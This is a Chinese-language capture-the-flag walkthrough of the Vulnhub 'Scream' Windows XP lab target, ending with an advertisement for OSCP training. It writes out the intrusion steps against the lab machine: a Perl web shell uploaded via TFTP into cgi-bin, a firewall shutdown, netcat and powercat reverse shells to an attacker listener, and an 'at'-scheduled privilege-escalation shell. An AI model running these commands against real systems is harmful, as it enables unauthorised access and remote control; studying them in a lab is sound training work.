一、环境搭建
靶机下载到的是一个exe文件,靶机作者制作靶机时采用的方式为使用ISO镜像修改程序将漏洞写入操作系统安装镜像,因此我们需要自行准备Windows XP
操作系统的安装文件并使用镜像修改工具制作安装光盘
Windows XP
操作系统的映像文件打包好了,然后去官网下scream.exe
Windows XP操作系统的映像文件链接:https://pan.quark.cn/s/46c5fb7f75f5
点击后会出现这个程序
将光盘映像文件导入,最好用英文,我这个是英文的
然后等一下,点击创建镜像就创建成功了
MRX3F-47B9T-2487J-KWKMF-RPWBY
复制粘贴进去,然后点击Generate Image创建镜像就会生成一个iso文件
然后在VM虚拟机里面,新建虚拟机直接导入这个刚刚新建好的
导进去后好像要再输一遍ok,MRX3F-47B9T-2487J-KWKMF-RPWBY
然后就会自行安装
这里就到选用户的时候了,不用管,直接开打
二、探测靶机IP(进行信息收集)
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.13 -A
查看网页并没有发现什么
dirsearch -u http://192.168.10.13
dirsearch -u http://192.168.10.13/jkstatus/
nikto -h http://192.168.10.13
都没有什么信息
三、FTP匿名登录
第一眼没有看到
FTP的匿名登录一般有三种:
1、用户名:anonymous 或Anonymous密码:Email或者为空
2、用户名:FTP(大小写皆可) 密码:大部分为空或者FTP(大小写皆可,但是一般为空)
3、用户名:USER 密码:pass
这里是Anonymous,其他的都不行
在log目录下发现了一个OpenTFTPServerMT.log,暗示打开TFTP服务
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69。
但是之前并没有扫出来69端口,这是因为TFTP是基于UDP的一种协议
nmap -sU -p- -T5 192.168.10.13 -A
-sU UDP扫描
# -sV 扫描网络服务版本
# -A 扫描操作系统版本
# -oN 导出纯文本格式报告
nmap -sS -sV -A -p 21,22,23,80 -oN ./tcp_result.txt 192.168.2.142
nmap -sU -sV -A -p 69 -oN ./udp_result.txt 192.168.2.142
四、反弹shell
在tftp上传一个phpinfo,ftp是没有权限的,写一个phpinfo.php上传上去看看
vim phpinfo.php
<?php phpinfo(); ?>
put phpinfo.php
上传成功,dengdeng,这个index.html是网站主页
上传之后发现并不能执行,有可能是服务器环境不支持 PHP也有可能是限制了,而且index.html
和 phpinfo.php
的权限信息显示异常,但是有cgi-bin
cgi - bin
通常是 Web 服务器上的一个特定目录,用于存放 CGI(Common Gateway Interface,通用网关接口)脚本,CGI 可使用多种语言编写,常见的有 Perl、Shell、C、PHP 等
再尝试一下上传到cgi-bin目录下
put phpinfo.php cgi-bin/phpinfo.php
还是不行
换一个,Perl:曾是 CGI 主流语言,若脚本对用户输入处理不当(如未严格校验),可能导致代码执行漏洞
https://github.com/rafalrusin/web-shell
再次通过tftp服务上传web-shell.pl
tftp 192.168.10.13
put web-shell.pl cgi-bin/web-shell.pl
上传成功
可以自己改参数,或者直接访问http://192.168.10.13/cgi-bin/web-shell.pl?password=yourpassword
输入命令回显正常
查看windows防火墙状态
netsh firewall show state
发现防火墙是开启的
关闭防火墙
net stop sharedaccess
方法一(nc)
binary 为二进制传输命令,传输模式切换为binary
必须将传输模式切换为**binary
,否则TFTP****会上传纯文本**
tftp 192.168.10.13
binary
put /usr/share/windows-resources/binaries/nc.exe cgi-bin/nc.exe
上传成功
# 在网页尝试反向shell
nc -nv 192.168.10.11 8888 -e C:WindowsSystem32cmd.exe
# 在kali上
nc -nvlp 8888
-e C:WindowsSystem32cmd.exe
:-e
参数用于指定在建立连接后要执行的程序。这里指定的是 Windows 系统的命令提示符程序 cmd.exe
如果你跟我一样这样尝试,你就会发现反弹不了shell,在 Windows XP SP3 上直接运行 Kali Linux 自带的 nc
(Netcat)是不可行的,因为两者的操作系统架构(Linux vs Windows)和二进制文件格式不兼容
下载网站https://eternallybored.org/misc/netcat/,直接kali上wget
wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
unzip /home/yzy/Desktop/netcat-win32-1.11.zip
然后再去tftp上传
banary
put nc.exe cgi-bin/nc.exe
# 在网页尝试反向shell
nc -nv 192.168.10.11 8888 -e C:WindowsSystem32cmd.exe
# 在kali上
nc -nvlp 8888
ok,这回就反弹成功,这里正向反向都可以,看自己,渗透测试工具指南:Netcat Socat这篇写的很详细了,正向反向都有
方法二(powercat)
这里我尝试失败了,版本一些原因,这里是当复习,但是也是一种思路,在windows10上复现成功
下载powercat
或者去GitHub上下载好
如果在kali上安装失败大概率就是没有更新
sudo apt update
sudo apt install powercat
然后进入这个目录
cd /usr/share/windows-resources/powercat
ls
在tftp上传
binary
put /usr/share/windows-resources/powercat/powercat.ps1 cgi-bin/powercat.ps1
注意,这玩意也是要关防火墙的,前面关过了,还要注意执行策略
Get-ExecutionPolicy
Get-ExecutionPolicy
是 PowerShell 中的一个命令,用于获取当前系统的脚本执行策略。脚本执行策略用于控制是否可以在系统上运行脚本,以及运行哪些类型的脚本,这是为了保障系统安全。
运行该命令后,可能出现以下几种常见的执行策略结果:
-
Restricted:最严格的策略,不允许运行任何脚本,包括本地脚本和远程脚本。
-
AllSigned:要求所有脚本和配置文件都必须由受信任的发布者进行数字签名后才能运行。
-
RemoteSigned:本地创建的脚本可以直接运行,但从互联网下载的脚本必须有受信任的数字签名才能运行。这是 Windows 默认的执行策略。
-
Unrestricted:允许运行所有脚本,包括从互联网下载的未签名脚本,但运行此类脚本前会收到警告。
-
Bypass:不做任何限制,所有脚本都能运行,也不会有警告提示,一般用于自动化场景。
-
Undefined:表示当前作用域中没有设置执行策略,它会继承上一级作用域的策略。
但是这个机子太老了,不知道为什么,我也登不上去,看不到回显
Get-ExecutionPolicy
Set-ExecutionPolicy unrestricted
Set-ExecutionPolicy unrestricted
是 Windows 系统中 PowerShell 的一条命令,用于将 PowerShell 脚本执行策略设置为 “Unrestricted(无限制)”
# 打开powershell
powershell
# 加载脚本
. .powercat.ps1
一般情况下应该就可以执行,靶机上我是失败的,版本各方面的原因
powercat -c 192.168.10.11 -p 8888 -e C:WindowsSystem32cmd.exe
Windows10复现
下面是在windows10上的操作,这个powercat.ps1可以在GitHub上下载,也可以下载到kali通过写个脚本传,或者直接在kali上cat,然后复制粘贴到windows10上,先.txt,等下改成.ps1,改完之后,鼠标右键powercat.ps1,点击编辑就可以进入Windows PowerShell ISE进行编辑和命令执行,kali上先开个监听
. .powercat.ps1
powercat -c 192.168.10.11 -p 8888 -e cmd.exe
nc -nvlp 8888
当然这里还有一种方法就是msf去反弹shell,但有nc就nc
五、提权
查看当前用户
echo %username%
查看用户列表和主机名
net user
net user
是 Windows 系统中用于管理用户账户的命令,若直接运行 net user
(不带其他参数),它会列出当前系统中的用户账户信息。
-
Administrator
:系统管理员账户,拥有最高权限,可对系统进行全面管理(如修改设置、安装软件、管理其他账户等)。 -
alex
:普通用户账户(图中显示的具体用户名,实际环境中由用户创建或系统生成),权限通常受限于管理员分配的范围。 -
Guest
:来宾账户,用于临时访问系统,权限非常有限,默认情况下只能进行基本操作,无法修改系统设置或访问敏感资源。
查看当前用户的权限
net user alex
发现属于管理员组
Local Group memberships
:本地组成员身份,*Administrators
表示属于管理员组。
切换到当前用户的主目录并展示目录内容
cd %homepath% #切换到当前用户的主目录
tree /F
%homepath%
:这属于环境变量,代表当前用户的主目录路径
tree
:此命令的用途是以树形结构展示目录的内容。它会显示当前目录下的所有子目录和文件。
/F
:这是 tree
命令的一个参数,加上该参数后,不仅会显示目录结构,还会显示每个目录下的文件。
tasklist /V
-
tasklist
:这是核心命令,用于获取并显示当前系统里正在运行的进程列表。 -
/V
:它是tasklist
命令的参数,代表 “详细模式(verbose mode)”。加上这个参数后,输出内容会包含更多关于进程的详细信息。
这里推荐两个windows辅助提权的网站http://tools.sbbbb.cn/tiquan/和https://tools.zjun.info/getmskb/
只需要将systeminfo命令输出,然后将所有的信息复制然后粘贴到网站查询,根据微软编号去看历史漏洞来利用,但是好像只支持64位,这里用不了
systeminfo
由于alex用户是管理员组
-
目标系统可能是旧版Windows XP SP3 , at
命令可用;若新版系统(Win7+),需改用schtasks
启动Task Scheduler服务
确保计划任务服务已运行:
net start schedule
# 在kali上开启监听
nc -nvlp 5555
#两种方法均失败
at 17:25 C:wwwrootcgi-binnc.exe -e cmd.exe 192.168.10.11 5555
at 17:25 /interactive C:wwwrootcgi-binnc.exe -e cmd.exe 192.168.10.11 5555
不知道为什么不能反弹sysytem成功,因为nc.exe上传成功,直接执行命令并不能成功,那就尝试执行脚本试试,在kali中创建一个.bat脚本,命名为:1.bat
@echo off
c:wwwrootcgi-binnc.exe -lvvp 5555 -e C:WindowsSystem32cmd.exe
tftp 192.168.10.13
binary
put 1.bat cgi-bin1.bat
#在网页执行
at 17:55 "c:wwwrootcgi-bin1.bat"
#在kali上连接
nc 192.168.10.13 5555
END
oscp有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Vulnhub靶机 /dev/random: Scream
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论